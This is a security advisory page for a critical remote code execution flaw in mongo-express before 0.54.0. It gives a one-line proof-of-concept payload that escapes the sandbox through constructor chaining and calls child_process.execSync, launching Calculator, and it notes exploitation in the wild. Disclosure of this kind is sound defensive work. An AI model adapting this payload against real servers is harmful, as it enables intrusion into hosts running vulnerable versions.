GHSA-h47j-hc6x-h3qq

Suggest an improvement
Source
https://github.com/advisories/GHSA-h47j-hc6x-h3qq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/12/GHSA-h47j-hc6x-h3qq/GHSA-h47j-hc6x-h3qq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-h47j-hc6x-h3qq
Aliases
Published
2019-12-30T19:30:31Z
Modified
2026-09-10T03:49:24Z
Severity
  • 9.9 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H CVSS Calculator
Summary
Remote Code Execution Vulnerability in NPM mongo-express
Details

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information

If you have any questions or comments about this advisory:

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

Database specific
{
    "cwe_ids":  [
        "CWE-78",
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2019-12-30T19:29:02Z",
    "nvd_published_at":  "2019-12-24T22:15:11Z",
    "severity":  "CRITICAL"
}
References

Affected packages

npm / mongo-express

Package

Name
mongo-express
View open source insights on deps.dev
Purl
pkg:npm/mongo-express

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.54.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/12/GHSA-h47j-hc6x-h3qq/GHSA-h47j-hc6x-h3qq.json"